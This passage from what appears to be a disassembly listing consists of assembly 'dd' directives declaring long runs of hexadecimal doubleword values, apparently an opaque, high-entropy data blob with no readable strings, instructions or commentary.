0F44F0BACh dd 0C1C7249Fh, 936326BBh, 55A4FADEh, 3446660Fh, 317EB84Dh dd 0E24B7E91h, 0D8E7FBAh, 137D21A5h, 0F00EF98h, 8E7AB9D3h dd 0B2E024E9h, 3F938328h, 42D317A6h, 0AFE614FEh, 61CA7718h dd 736B5ECCh, 0FC880A6h, 14AB3Eh, 0BD631BF1h, 498FE967h dd 0A113B3F3h, 56CEA4Ch, 0C8CC53B2h, 592593Ch, 0EDF8410Eh dd 60536393h, 5D4EEEEDh, 2048D4B3h, 0A0555102h, 0EF905670h dd 22D02961h, 9FE85BECh, 24F0E9E1h, 2D075E2Eh, 3F027405h dd 9580F8F5h, 48B847CDh, 0C805A244h, 0B07BBA33h, 0E0955297h dd 66ACA75h, 0A5E93B5Eh, 0F8974989h, 0A87015F3h, 0E1FF143h dd 0F0481D03h, 207CE910h, 1F0B4B24h, 9D474C07h, 0A010746Bh dd 4FCC408h, 9C31F373h, 1168F0C2h, 580AA966h, 6DF30902h dd 80FD4CEBh, 235A831Fh, 0EAD12625h, 74730DDFh, 79423AA7h dd 57348BF3h, 4C4BCDF9h, 0A3BF329Eh, 96D54F0Ah, 0B17E5F14h dd 0E4167CB7h, 0E28661BBh, 5D1C95C1h, 58C5C5C9h, 0A36B65F1h dd 37ACD7FFh, 43FBE88Ah, 25E236B7h, 638A8E40h, 0D8158227h dd 0C4095C7Eh, 6918F348h, 4F86711h, 58D274Ah, 439123Fh dd 0EEAD9575h, 40ECEE9Dh, 9EC29146h, 0FA7A4850h, 7AFB1128h dd 6948B9B3h, 0EB368600h, 3BDDE92Ah, 0D92FBDBAh, 81A5DE5Bh dd 693D44C2h, 0EC823E37h, 30DDE9E7h, 0DB328920h, 0A8F10D06h dd 39507FFAh, 48C600D3h, 7A414C35h, 0C1892C3Eh, 1AD1278Ch dd 16B2D60h, 51A05F7h, 838B1DA1h, 0D049F89Bh, 62B204DFh dd 0D081C280h, 302BF003h, 0AE4EECB5h, 0CE3348h, 5F233868h dd 0B853EFD1h, 59A9406Fh, 5A54DC95h, 87E9FF30h, 0C7D59554h dd 712D2C0Fh, 42D16572h, 38808D19h, 833B6CE0h, 91804ADAh dd 2B4BD6F5h, 0AF49B8FAh, 411A8434h, 0D2F75D00h, 495A4068h dd 34B5030h, 8734088h, 0A27E6190h, 5F0BD025h, 1110621h dd 29806EB2h, 586F2C5Ah, 2E68BA40h, 9D322808h, 0F627AD5Bh dd 40955082h, 0F03E7C6h, 0C3C533D1h, 8DD9A606h, 0C1FD825Ah dd 0D551059Dh, 0B378A84h, 62575664h, 0AC183FFBh, 2DB980F9h dd 40E56F17h, 7BC106FBh, 0EAE66821h, 44585195h, 27C0AF4Ah dd 0B8E9E2D1h, 8B58B9E2h, 945D07CEh, 485726A9h, 6145931h dd 0F6AB3446h, 9939EE14h dd 65A96FDBh, 0E08F04D2h, 0A5A91332h, 0A5B7AC92h, 1CB6C1AEh dd 0A08BBD20h, 0F3664818h, 0AE164B84h, 0A4681720h, 0E22DCB7Dh dd 0C07E8C2Bh, 46C91E1Fh, 0C8078145h, 5C86306Bh, 0DD140BE9h dd 6506EB07h, 0D7B37534h, 813C5E23h, 0A815D65Dh, 99346D24h dd 0E0801A2Fh, 7B1663ABh, 0D1413532h, 0BE70EB22h, 486EB235h dd 0EA038456h, 6B616F0h, 40870C16h, 0D2EEF2A4h, 0F873643Ch dd 49602623h, 0ECC82996h, 26730C2Eh, 90FC5232h, 0BE59A082h dd 0F8FDE846h, 0DD62B76Bh, 94F1EC55h, 1D132410h, 61544B08h dd 4A9D7018h, 3BD85581h, 2C79142h, 1EF72C7Ah, 26E066E2h dd 0F91E295Bh, 6489CF87h, 5A099936h, 0F70B7AA5h, 0E9850BC7h dd 0B6D6172Bh, 0C71430AAh, 2A68CAF3h, 81D42549h, 3BA64284h dd 0F59B0004h, 189DA039h, 0E56E0148h, 123B7E9Dh, 0C1CAB297h dd 39416855h, 538BA92Ch, 2FA6145Dh, 0DF545D5Bh, 8FAB59E5h dd 8B414D1Fh, 834DE3Bh, 1C28F7DBh, 0BC214120h, 0C35645EDh dd 4A5061BEh, 0CFF20D73h, 29A8525Bh, 4060632h, 0AB7917C0h dd 0E9EAB009h, 556DA4EEh, 0C5F837EBh, 3F87F18Eh, 6E213821h dd 44BF1281h, 45A6708Ch, 0D384FFDCh, 9DCA1AEFh, 0C4BA5975h dd 79F21287h, 0D265ABD0h, 0E092BB75h, 60B5E229h, 2D7CE875h dd 0A8F07BD6h, 0F739B092h, 69D4DDDh, 706606BEh, 0CF97010Ch dd 0E3E9966Eh, 1FC1381Ch, 26DE6A19h, 0AEEBC28Bh, 0A4C5C925h dd 0DAFE5140h, 84B14FC9h, 0DAEFB22Fh, 0C9976118h, 2F8557CAh dd 5F0809E9h, 4DC25F5Ch, 18C64885h, 6AB0009h, 76F0D40h dd 409F72D7h, 9F79645h, 34BDE9D6h, 0FE032FFAh, 0D1733A11h dd 0EAB0FCE3h, 8BDB04FFh, 0BED80119h, 0EC4E9F9Bh, 0EDD2B47Bh dd 2FED789Ah, 0FFCC585Dh, 0C89D7FA4h, 0C0A263CFh, 479FEFEDh dd 0E09071C4h, 840BCC03h, 40DF0151h, 30E9081Ch, 0BA3224ECh dd 5A27688Fh, 9B247C20h, 4C0262CAh, 2D1FBDCEh, 9213401Eh dd 57522725h, 3F7D7FFAh, 6154652Fh, 0B06B29F2h, 5C013EEEh dd 0E94859BAh, 8D7AE4B1h, 0E8A1E713h, 1A682B1Fh, 5F5643BDh dd 5083B3BCh, 16C117B4h, 801087CEh, 0D1F627F1h, 4CB2E0Ah dd 2CC80ECBh, 2D3E6C93h, 99B4FB4Ah, 0E4D716F8h, 4F70FCEAh dd 5F016EF0h, 0B014E8FBh, 585BD831h, 64582568h, 4FD52CAh dd 879D35E8h, 0D040ABE6h, 5D62C768h, 0D298DC73h, 670AEE69h dd 0D59D0E8Dh, 0BA819486h, 0D184D0F6h, 5AA7CC2Eh, 54B06812h dd 3B1569FEh, 6E1F6161h, 7AA0A67Bh, 1086A12h, 0DE1DCEAh dd 0A1FCAC58h, 5DFEEB83h, 0A4831A14h, 9345548h, 7301265Eh dd 0B8FC0B68h, 7ABA57h, 2B3044BAh, 6850007Eh, 20C7752Fh dd 0D072F758h, 0F80D85Eh, 27DF8035h, 0E1608D1Ch, 72CCF329h dd 4B31C32Ch, 10D0F9F5h, 680A5FC6h, 6F8C1DB2h, 0D04613A4h dd 75600F7Fh, 55680A0Bh, 842F3304h, 0FF0B61B2h, 7F054F4Eh dd 0B8E34005h, 67186B57h, 11BA5202h, 5E63BB60h, 1C0124F2h dd 4235C4DEh, 0BCC7C669h, 282570A1h, 814A01D4h, 0C7120FF2h dd 3A8C027Ah, 0BFE9AE17h, 8CE2CD05h, 8570A030h, 148509C6h dd 140C3A4Eh, 622D68ABh, 3149E62Bh, 0C71BB160h, 0A0373F01h dd 31D04008h, 44BB5818h, 10E03317h, 0DD7755C0h, 5E6DCB2Eh dd 6809DCB6h, 51E47DF2h, 786372A0h, 44B812D2h, 0F468C4h dd 7B25E181h, 0F8437669h, 6C193A10h, 0BC88916h, 9ACE0D75h dd 0B58383h, 8666B18Fh, 0E92E4274h, 29980A65h, 0C5276D38h dd 0BE41438Fh, 3C6AA2D9h, 62DE986h, 0B7F1D289h, 7A9A6642h dd 85388FFFh, 5AEFF671h, 0B1400482h, 0C250276Bh, 0F02CD84h dd 4D33625Ch, 0C6124045h, 17EFF16h, 0A36F3A1h, 12E92C7Ah dd 56C08BE9h, 623268h, 815B7410h, 27580DCBh, 0F3015776h dd 77377A3Bh, 6A60DD89h, 3BB9B9F4h, 5F7C0B20h, 0CDA8828h dd 6BF6D724h, 0ACF25067h, 5FA055BEh, 8AE03F4h, 0CAF18726h dd 1AF0935h, 690604AAh, 0C00C826Ch, 60809AE7h, 6318CFh dd 0F6253AB0h, 51EB333h, 0EA2A6F0Fh, 2F7C4228h, 0F83D6039h dd 0D07782ADh, 0F2513085h, 5BD90910h, 0D641ABA1h, 0D1686600h dd 962F9D5Ah, 7C32F9B7h, 173C913Ch, 0DE0C5D3Bh, 79550F95h dd 0F6E89D5Eh, 59BF1851h, 0C626423Ah, 34ACC655h, 801021BBh dd 1D032D16h, 9D4EC27h, 570BFF6Eh, 12479B77h, 0AEE515C2h dd 2F972E2Dh, 0C2F96455h, 0CB74067Ah, 0F4EF5BC4h, 5B955897h dd 7E15BF3Fh, 0EA3E9136h, 136ADDEh, 34BF0B9Dh, 163F56E9h dd 82B6041Bh, 0EB30ABD8h, 0BFB23B3Fh, 2039B2E1h, 0C19D561Ch dd 3F74D37Fh, 38781E95h, 31C8B7Bh, 79426990h, 0DC18F42Dh dd 0BD626D2h, 9C5D53BDh, 0A84C95BFh, 93639404h, 7F0013Bh dd 830D90F1h, 0D2B0B70Bh, 2F156433h, 8FD6348Bh, 1C6557DAh dd 5F8A628Bh, 1434E5B0h, 64AED8D3h, 52BA01FBh, 72557D68h dd 97A90093h, 0FAE9AA82h, 0F034D618h, 0DA51F7FDh, 93112003h dd 0A4B0727Dh, 0E9066C93h, 0FB7DE0A9h, 0A80F70DCh, 12BEAA1h dd 360D5851h, 0FD14B32Ch, 0E94E3AE7h, 1B9E4CBh, 7009DA91h dd 0C0622D33h, 6CFDD380h, 942D0478h, 8013474Eh, 442AEABEh dd 1526D698h, 0BE40E196h, 0F6B3DCC4h, 98C74F55h, 0DE25680Eh dd 5A854632h, 8497F455h, 0EAC5B7D6h, 90320506h, 182E3137h dd 5559627h, 5681AABDh, 7F5F5768h, 665E0A3Ch, 514EFA50h dd 7612B22Ah, 5BF38839h, 43D0981h, 0E61D512Ch, 79159968h dd 54DD34FDh, 0B5334CBFh, 40B32E14h, 2B0BD95h, 0D210F3BAh dd 0F88AC335h, 4219362h, 0C90D3E2Dh, 5A88268h, 5CDA078Bh dd 0C16FAB33h, 3D3FD959h, 0EC0D8F8Ch, 0B806B60Ah, 0C6FED6F6h dd 16807408h, 4023E9FAh, 560D2D13h, 1245110h, 0D3023DF8h dd 4068D477h, 2C63793Bh, 28216AF4h, 4B76148Bh, 0FC20C543h dd 6DC26800h, 815E3DFBh, 726001E6h, 0EEC17614h, 77F64007h dd 5A00880Dh, 0BD5E5856h, 58EC2337h, 0C130DFD2h, 0EE80ADA3h dd 0CEFE8A1Bh, 6BE5F1A4h, 0CA24E076h, 0B65A125Ch, 9EE14A00h dd 0B972D87Eh, 85A5355Ah, 0AD0383DFh, 9B10AFF7h, 3034D2Bh dd 0D8D431F1h, 0A79E994h, 66097672h, 12D7E305h, 0FC0809C2h dd 81BCA59h, 7E278751h, 7468507Bh, 80A7585Dh, 5DD93EE6h dd 0B969850h, 0B6706D7h, 8F2C707Eh, 48052D3Ch, 3D0335EBh dd 0FA5D4F2Ch, 70628D4Fh, 6744A731h, 0ACBE3256h, 0BF904156h dd 131485CEh, 5C5159Fh, 577B6AD7h, 2B7004FAh, 0EBF3EFF4h dd 0F892D3Ah, 5012084h, 5211A668h, 0A750ED98h, 0EAC65995h dd 89E39DA5h, 18724C3Fh, 9D251A30h, 1591D0Dh, 0F005656Ch dd 306D1947h, 443EEB0Fh, 2F615CA1h, 2F1F7059h, 0E47CE831h dd 0BB571658h, 293804F1h, 205C0701h, 1A475709h, 0D37DADBCh dd 5CC502F1h, 21607726h, 57827E76h, 0A0830562h, 11E238B9h dd 7B0C078h, 84A5509h, 982AF814h, 0C0D43455h, 8021FA5Fh dd 0C525D779h, 417A63Bh, 1A41ACEh, 586009F1h, 37E75AE8h dd 0BC54A5DEh, 5EE6B4ECh, 0D0791916h, 0B755281h, 7AC5Ch dd 132002E2h, 81B4B5E9h, 34C52E5Dh, 4AF64081h, 7C525901h dd 0A55076Ah, 45E5669Bh, 5EFC9D52h, 9462E2E5h, 0C35F2905h dd 43A85496h, 82B7DE20h, 4A9FE6DCh, 0F5BB4251h, 1A497866h dd 0BBBE00AEh, 8170742Fh, 1C5709F6h, 13C014DEh, 0EA2D2EA9h dd 404FD42Ch, 187648Ah, 4B96F80h, 0DA89F0BEh, 0D790FF5Bh dd 2D151AF2h, 2B74D02Bh dd 0D44D4909h, 29687A18h, 0F9023051h, 0E94D5D3Dh, 7045E71h dd 3338EC80h, 0E6820EF4h, 38FECFC3h, 449ABA00h, 0BD550971h dd 0D7370058h, 64CD812Bh, 2F504763h, 442C0F93h, 0B208B6AFh dd 1F68055Bh, 0C103BC33h, 66B7727h, 5455C2F7h, 289CADEh dd 331336A8h, 0BAA43BE1h, 4607960Dh, 57F19E27h, 45601E58h dd 23215F6Dh, 0BCC953A7h, 5862315h, 0CE8899B1h, 63A90D81h dd 0F1AA306Ah, 0D7B40112h, 219718BCh, 1DFAEB65h, 8153F569h dd 1A2FF8CBh, 601601Dh, 0C0841004h, 0DDE125E9h, 0C8F7047Eh dd 1A2BE36Fh, 565C1B22h, 0EF66CCD1h, 5C2902BFh, 48AD5952h dd 37234083h, 810E7ACDh, 0B810AFE1h, 107DE90Ch, 7553C39h dd 250BD6A2h, 252926B3h, 4AF4D845h, 1932BE02h, 0E30E0B10h dd 49936862h, 80694FF4h, 817226F4h, 637C0CEEh, 0E0C4A66h dd 54797F05h, 9EADE94Eh, 0A770A94Ah, 8DCA8CA4h, 17EF680Ch dd 0D9DBA21h, 1F408B01h, 0C05F4505h, 1894F532h, 0CC02BF8h dd 8DC5035h, 0F9EF4F01h, 0DD778A43h, 0FE94D96h, 0C03BCC85h dd 0E9CD319Ch, 2B0CA5Dh, 2E2F75BEh, 3BE1F038h, 944B7A69h dd 334AF4A7h, 9280D238h, 6585F101h, 459FFFh, 6851575Bh dd 4BCB5AE4h, 4C15F61Dh, 0A81D78D9h, 0AAACD16Ah, 91A6FB05h dd 278CFA04h, 74C3F5BCh, 0F603DD68h, 49354DC2h, 5013C971h dd 258D058h, 0E95C1761h, 0ACA230D6h, 0AF536AFEh, 41196842h dd 80B8493Bh, 79BA1A0Dh, 8AB3E39Ch, 226B56B7h, 74EBF6A0h dd 0C02206C1h, 0C3E406E3h, 51660E8Fh, 0A117F2B5h, 4DE10268h dd 8A17BE44h, 46138590h, 0E46C1AAh, 43657E95h, 0FBD261A6h dd 873F478Dh, 8DC9246Eh, 74C6E132h, 0BD09BEDCh, 226581Bh dd 559B2E45h, 6B980EC6h, 0D7F93341h, 0DD2F6D22h, 1F02DCD6h dd 423AAD76h, 8E90826h, 0F0BEE909h, 9D9398C9h, 5D5E944Eh dd 680976CBh, 0D21B188Ch, 112885C3h, 0A170AD54h, 0EC565697h dd 5F29683Ch, 0B29FFD15h, 11105A26h, 23DA0D00h, 0DD2D5056h dd 2A8B0317h, 5E3E64F0h, 0A9F3B3h, 0D001C780h, 766866EFh dd 5386E9F3h, 4E207EE9h, 552D7190h, 0EC1C5E21h, 1827E9B5h dd 73065C45h, 79D161F1h, 19A10B50h, 0DDA0045Ah, 1D898BBAh dd 99C06EC5h, 5DE889CFh, 0D336C148h, 30319D4Bh, 0D713EB92h dd 0ABF430h, 77A80549h, 0D0454B1h, 6A827DA7h, 9204D4C1h dd 4EC20004h, 0F707513Bh, 0C0A0DD4Ah, 0B4B9DE9h, 0AF5EB49Fh dd 0A3FBB3C4h, 40E985FAh, 0C101E490h, 0F2BF0557h, 8526E277h dd 0BE1A94D8h, 8A0C349Eh, 1DE1012Fh, 4CB97009h, 0D482FD5Ah dd 4CDD05F7h, 0E529A085h, 6A2F1762h, 14988429h, 6F846308h dd 8457F2FAh, 0BF12BEA4h, 0F1EA0064h, 73ED3E90h, 57BE92A4h dd 0C7DFEBA9h, 48B9A902h, 7C7D10EFh, 0ACC75Fh, 29165839h dd 3149064Fh, 8641E4D2h, 0C49077E2h, 262F685Dh, 7286765Fh dd 1E73607Dh, 4510CC8Eh, 739F7EF2h, 10FB1A65h, 80823A55h dd 0F4373018h, 12D6A048h, 280A0B43h, 0E18BD7F7h, 6C75E7C2h dd 2A722078h, 8CCC5C5Fh, 50CEFA56h, 5F29DD0Ah, 0C176B2CFh dd 9637E9FAh, 48390A69h, 2E35D881h, 3F3ED905h, 0B76AB9C1h dd 3BB3E57Bh, 82E444F9h, 550901B4h, 1E2F3E82h, 7DC21E48h dd 51D7E212h, 0FF4E24FFh, 2BDACFC4h, 957F1D58h, 7D5CA332h dd 5ED922AFh, 20906CA0h, 0BB006E70h, 12783E93h, 0B05BDE29h dd 7629D6Dh, 0F69CA1FEh, 40AF54C4h, 0DE75C0EBh, 5C1EA539h dd 0C00908BBh, 64A2F77Eh, 0B900B53Fh, 5CA3180Ch, 3A063D63h dd 0C515A24h, 21446212h, 0EE9B12AEh, 0B4E06689h, 0D8B6A9ABh dd 8262A6FCh, 0D3024E5Eh, 8937952Dh, 9554709Ah, 846FDB74h dd 299774ACh, 7FA49E65h, 5F750FF1h, 0F642C11h, 3ED8EE68h dd 3F728419h, 8920B081h, 0BEF8F2F6h, 1DBF0139h, 0E305993Eh dd 4C2F19A8h, 0E9E3D106h, 0B7227A0Bh, 7123A0C0h, 89E85E5Ah dd 21034648h, 31149928h, 0E6D15DC8h, 0EDF0E917h, 6312C9A9h dd 576888AAh, 1E226805h, 0ADA26E16h, 92F7879Dh, 0E929A12Ah dd 301E6801h, 11BA7A50h, 4B147C5Ch, 0FF4CC515h, 69F8CADDh dd 0C4F99FEBh, 0F5D45247h, 7C835FE0h, 0C2EF9CEDh, 0B5081892h dd 0B02ECC28h, 52897256h, 0C0BFFE54h, 0D83FF9B8h, 20464D48h dd 0EE8012B1h, 0DE86ACDFh, 0A91F64Eh, 7E4F1FF4h, 50E99003h dd 0C03801F5h, 0A92C03E0h, 61456134h, 0E55E30F9h, 30E706C0h dd 722C5BFEh, 0B8CD4EEFh, 0E0E574F9h, 484ADCE9h, 18535898h dd 0D50F1E68h, 928310A6h, 0A70F51EEh, 0E9E73E51h, 2F85D4A9h dd 0A9F20D5Ah, 0AA88954Fh, 55651797h, 0D941FA1Ch, 5FD70F08h dd 1F4C9F74h, 3DD468C9h, 2F80D054h, 15DE56F2h, 2C7B3C88h dd 29D56B21h, 4B16D505h, 0B7E2EB0h, 8E8D1E9Dh, 9C8D24E0h dd 0AB5E93A2h, 0D38274D4h, 28F9F20Ch, 3806DCD6h, 0FE4A3428h dd 52C2C967h, 0BEB3712Ch, 93E4F75Ah, 0A6FD991h, 3027EE14h dd 0C86B6A03h, 544AE9D1h, 73E4894Fh, 30E8C6BDh, 883962E5h dd 28E23BECh, 66259659h, 0C25BDE5Ah, 6801E765h, 0F3884270h dd 79275D71h, 4FC94F9Fh, 7FBE42C1h, 0B8E1DC24h, 77D955F5h dd 9E10B84Eh, 0F8532518h, 567C6F76h, 1806A186h, 42275E76h dd 21D14826h, 1A3C2E53h, 90131319h, 22D1FD04h, 4B87C55Ch dd 0A5273DBFh, 1B1EFD0Ch, 58201998h, 0BD54E40Eh, 0B3AC8873h dd 165AEB70h, 6406802Ch, 0EC7ED4EEh, 5635F28Eh, 0AF8B1ED9h dd 2B70205Ch, 8835BE8Ah, 0DE2F6F3Eh, 52FC09D4h, 0AA3F7D51h dd 0BE079FE6h, 47FD061Eh, 9CFCF1A5h, 0EFE38913h, 0F2969179h dd 0E86C53E6h, 0EEE2A73Ah, 9661C8E2h, 0AC754F17h, 5602311Dh dd 47D1445Dh, 9BC23007h, 0E130E9D6h, 61ED6D5Ch, 553F0951h dd 4E01F501h, 80BB03B0h, 4E08EA1Ch, 55E9469Ch, 0D641EE84h dd 0FF05A773h, 0B41C8B8Eh, 491271Eh, 3B2165D3h, 0E913788Fh dd 2C0945C5h, 0ECB88EBh, 26684940h, 0CFE8239Ch, 0CC3225C5h dd 81004F8Dh, 0E29CB5EFh, 0B7FD8933h, 2E5FED99h, 0BBC06CECh dd 5DE31A77h, 81DBF700h, 0C8C7EF3h, 7DE925BEh, 3E5513E1h dd 0E4A650EDh, 0D5D20F30h, 301A71F1h, 14E0037Eh, 209FE10h dd 0D3B459E9h, 38ADBD88h, 5FFEC3C8h, 2D5A65B5h, 0E9C2F9F4h dd 565A7406h, 0BA5F12A2h, 0E7CD8551h, 0DB68C461h, 0C9F20E04h dd 0A480D00Bh, 5B508BC2h, 0D4F85A51h, 0BA122B51h, 0CEEAD101h dd 798F3518h, 0E12B23C9h, 4BE8621Ch, 38B81F9h, 3BF48DC2h dd 0C1538496h, 0DDE810Fh, 596E40BBh, 0AFB616h, 2C7991BFh dd 3AFB713Ch, 36C7230Bh, 2F67F50Eh, 0C12157A6h, 23A434E9h dd 51A44B06h, 0FD251E30h, 510B223Eh, 50F9477h, 51B55DDFh dd 48744E80h, 0EE81467Eh, 10D7062h, 7A32FDF1h, 68CF9977h dd 0B72E5FF5h, 0DFE9099Ch, 0CF095937h, 8A92EC9h, 76E41075h dd 215F8174h, 6131CD59h, 13907C6Ah, 31BF6C79h, 0A0D5FD64h dd 72FBA10h, 8D971134h, 105998A6h, 5256006Dh, 98329668h dd 0C65A5042h, 4129389Bh, 0D32099DCh, 25516812h, 0C904D2B3h dd 0EB6D8D42h, 48C7D10h, 65228F68h, 5A56BBh, 45C82F38h dd 0FCB1C9E9h, 180FBD28h, 8B436253h, 4E5458ECh, 5A5EA359h dd 0FEF5E0BCh, 0E8051685h, 0C8BEEED3h, 0D7265111h, 0FEAFE96Ah dd 3576D293h, 35539DE0h, 8818477h, 7C27D95Fh, 0B652096Bh dd 893E078Eh, 287BC630h, 345A2CF0h, 1B15048Bh, 0EEBDA401h dd 82033E5Dh, 0F4397368h dd 3B2D62C7h, 92657FD6h, 5D31C349h, 0FBFC60CCh, 0DA15213h dd 7DC01901h, 0C9F03668h, 62200274h, 0FA29E96Dh, 0CF004E52h dd 190926E7h, 0FE08EFC1h, 88F05AA8h, 0F80329E6h, 5F529A05h dd 82EF954Fh, 5E011E23h, 6320B850h, 0D090012h, 30D071FEh dd 60CE8C1h, 28CFDDE9h, 972DE5Bh, 57E8EE82h, 6C5E27AFh dd 82DE6BCh, 2013DD7Ah, 2204723Dh, 13F8E02Ch, 56355FC4h dd 12C56308h, 598AF5Dh, 50A8592Bh, 169AC0Ch, 560EBD6h dd 47349FA8h, 4E9EDE02h, 0F7070E0Dh, 400BF754h, 80E91F93h dd 0BD0E1296h, 8A3C466h, 4E547CFCh, 22C85E21h, 0CD6BAE08h dd 3EE2D9A9h, 0E7D62EADh, 11B24ED5h, 3A4EC1C0h, 985A6876h dd 85D8A44h, 0EE225A0Ah, 3650D869h, 0ED00C290h, 27E55A4Bh dd 9777F2E9h, 7909EE7Bh, 0E2347637h, 0EEC8115Ch, 0C0123E58h dd 0F2ED0129h, 0AA55907Fh, 18145DFFh, 7EE95409h, 69CC5EC3h dd 4CCA8210h, 5A49637Bh, 54E98246h, 11036869h, 25DFC51Eh dd 0A2BF34Dh, 0BE1A425Bh, 48C4DB39h, 0EF4AA6E8h, 18830829h dd 43357708h, 0EA50B878h, 0E9275E08h, 68F7406Bh, 6A3E3D0Fh dd 1763BCCAh, 0CFE963C8h, 0E00C8504h, 0E282E45Ah, 265F2A40h dd 8028CF29h, 9DD635DBh, 0AF93FE89h, 2B01FA4h, 901522E9h dd 485870E2h, 0B9FDEEBh, 1418F0ABh, 2216B52Dh, 0F9B1C80Fh dd 17D6FD60h, 0EB5E3651h, 55689220h, 9380946Ah, 0DCE14906h dd 0C45A82DFh, 0C868C2A2h, 78DE3186h, 0EE1B2F5Bh, 0F368725Eh dd 99387D27h, 194EA4E9h, 2CD96A42h, 0FFBBC25Ah, 522DAA60h dd 0C5862E97h, 81004AC6h, 0F40B0C9h, 4149262Bh, 679A0B2Ah dd 9222FC56h, 65184AE6h, 9D5603D8h, 133E260Dh, 0C15F0B16h dd 0D060238Fh, 88102D40h, 0D6395028h, 85061B13h, 0E6C2070Ah dd 65BD0820h, 4D58AA03h, 0E64FA76Ch, 12259615h, 10138BAEh dd 0C0488BABh, 3CF4F620h, 8C773A5Fh, 44FA6B2h, 9093AB51h dd 66F2C874h, 5BDA0035h, 6C0D121Ah, 2C038F02h, 7440A805h dd 6D13FF62h, 9F2DA8B3h, 0BDD0273Ah, 0E56EC042h, 0E8CAAEBDh dd 6BA0E09h, 2DC0E2AEh, 25310E70h, 0A9A4295h, 0F5425007h dd 2AF39BC2h, 0B0F45BB7h, 1FE309B0h, 5B567A3Fh, 38CB8100h dd 986BFE53h, 0BF9D09A8h, 8D843507h, 0AD07CDFBh, 0A8C6C55Eh dd 0A94A2018h, 76EBA00h, 0D631221Ah, 0BC40955Ah, 2B0D901h dd 0B6F32624h, 5D3BFE8Bh, 0B29C3714h, 6A36BF07h, 75297862h dd 7BCD3979h, 0E9F2807Fh, 0C697A905h, 7459BD75h, 68E123C8h dd 322B0B7Dh, 6EEA4A13h, 4A6C5175h, 0EAF02D09h, 306BB40Eh dd 84EAD2E6h, 11DAC241h, 0B3ED0D61h, 0E548502Dh, 28359D04h dd 41AC53F0h, 8E052BF8h, 13BEEA83h, 0A1D6B891h, 0B900DFC9h dd 0ED252762h, 0A4C208E5h, 16F5280Eh, 4F048AAEh, 8589FCEDh dd 0ED83B9C0h, 0EA31011Ch, 0C517D59Fh, 84E31522h, 4081B5B8h dd 0F20473Dh, 98142695h, 51E200E8h, 0E93B4533h, 3F2E782Eh dd 0F35EF589h, 0A1D81293h, 0D8E72D59h, 70EA6895h, 757E9F13h dd 0BD3E5759h, 0E82812A9h, 0DAD49A5h, 53029C90h, 67E0E917h dd 939129BBh, 0A9164B32h, 0A3BF0EABh, 0AF85937Dh, 1077AE5Dh dd 7E6E68B1h, 0B685C63Ch, 29D8FA33h, 0C6082702h, 0E9124FC4h dd 165297BEh, 74B30717h, 0F0656100h, 0EAD6E969h, 50021BAh dd 816F251Fh, 253D2DF3h, 4ADE7BB9h, 0B1EF7689h, 0A67B1423h dd 165D48ABh, 0C861011Ch, 652F50F4h, 508AAF40h, 0AA525518h dd 88AC28Ch, 0BA807393h, 1FF854EBh, 1B0E07BFh, 39310FD7h dd 76E20CDEh, 124EF16Ch, 10C0BA5Dh, 0B0B4033Eh, 0ABC20B7h dd 9028F24h, 8EEFDE12h, 0F7BD5EAEh, 0FCF4E9C2h, 0CDE229C8h dd 7E957713h, 0F7CC7CFCh, 0F3A05A06h, 0DCB9E5CFh, 0ED913113h dd 0E82FC630h, 99BEE57Ah, 0B93520F1h, 0B6FA489Dh, 1D1A92ECh dd 0E2248BEh, 5EEFF531h, 84880637h, 0C51F0A4Bh, 21C699DFh dd 0E8125DEAh, 7B497EB1h, 0FED39252h, 7D254F7h, 62D29D5Ah dd 3433D430h, 0FA42A4E5h, 0D155C64Dh, 0F5180A2Bh, 0BD156741h dd 1A0BC757h, 84F7FB68h, 6EED4D28h, 0F1D35A76h, 0B32C6B66h dd 9F5D412Eh, 0BF49C56Ch, 58315E31h, 5E5B4FE0h, 1309E0D3h dd 0F9E37F64h, 0CA20C440h, 5EA813E4h, 799741A4h, 2146B975h dd 0B6F1F4F9h, 953CBD9Bh, 13822FCh, 3DED6853h, 0F63878D5h dd 2A131139h, 6F5FA187h, 77212080h, 20BCB81Ch, 2D04DD59h dd 235E31Dh, 61932487h, 7074765Bh, 0FC135D68h, 0E9130F90h dd 4F1AB81Dh, 38F329AAh, 0E3BFE408h, 2A0712ACh, 6D070CB9h dd 0B3226241h, 1602280Eh, 0CD46D768h, 0F15CE01Eh, 956432B1h dd 0D47C20B6h, 4703B801h, 58707AE0h, 56550289h, 12F6E965h dd 756B6854h, 0D2B4EE9Eh, 5A2AE978h, 59D3F70Dh, 52F85BCEh dd 3AB599E4h, 8110888Bh, 74E1076Ch, 0E9E21EFFh, 5CACA475h dd 74752A4h, 0D8518624h, 6857302Dh, 11500D16h, 0A5ED48Bh dd 5E76639h, 0A23F10C6h, 2845B350h, 5A4F0B35h, 0E7A53585h dd 2A1D30h, 2D658440h, 3CB523FAh, 7242968h, 0C612F72Ch dd 68652CFBh, 0C6032527h, 0B813278Ch, 7CE5B820h, 811A1E45h dd 540DE1EFh, 14DD2743h, 80035AB8h, 7BF0BE7Eh, 0BD588B01h dd 69293DB2h, 0EB5E1130h, 8926B83Fh, 26F77481h, 13A548D2h dd 1E8FC78h, 0D91B33BFh, 0C47B4F5Dh, 24FCF0DBh, 3C792C05h dd 0ECE9BAE9h, 41BEEB02h, 0E077600Ch, 1E2B74FBh, 25E905F3h dd 112D43D4h, 0B2351D57h, 0C398E36Eh, 5E5ED0E9h, 2F53EC16h dd 16A75C01h, 3B00E151h, 0E4A597A9h, 164C529Dh, 70C6853Ch dd 8B9687B8h, 80532EA1h, 0E788A200h, 9EF7C1E9h, 0F6C588FEh dd 0E6BAE025h, 76587528h, 59CB80Ah, 0E9A7C17Fh, 25B1E8D1h dd 9695EADh, 0F21A52E6h, 84FE7AE8h, 0C52DA4BAh, 0CFCCF001h dd 0F52B0506h, 22204350h, 41683888h, 0E6259FC9h, 70BDD050h dd 0B90AA014h, 15AC275Eh, 68C07FFEh, 0E074E50h, 0D505E960h dd 65D9FB12h, 0E89E83Fh, 6F051974h, 0E66CC968h, 0CFAFBB0h dd 292E4926h, 3A1294ABh, 9F6889B1h, 8E09E9A7h, 2CFB6CAAh dd 4C54E5A2h, 70D05DFEh, 0A5F749ABh, 0DACAFB59h, 1839EE02h dd 98841A11h, 10F6F3D8h, 8813680Ah, 793291EEh, 0C58F8085h dd 253E6856h, 0ED145B5Ah, 0A0ED8078h, 3A0FC51Fh, 3CD771E9h dd 480DF102h, 1B5C66CAh, 117F4300h, 0D88B84E9h, 4A015023h dd 58057C02h, 0EC27BD68h, 2C6D7C9Dh, 0BF6033Fh, 0BA5D1ED8h dd 0B807F4Ah, 57BA6806h, 0F27533BDh, 342D0076h, 22009126h dd 0D305D0F7h, 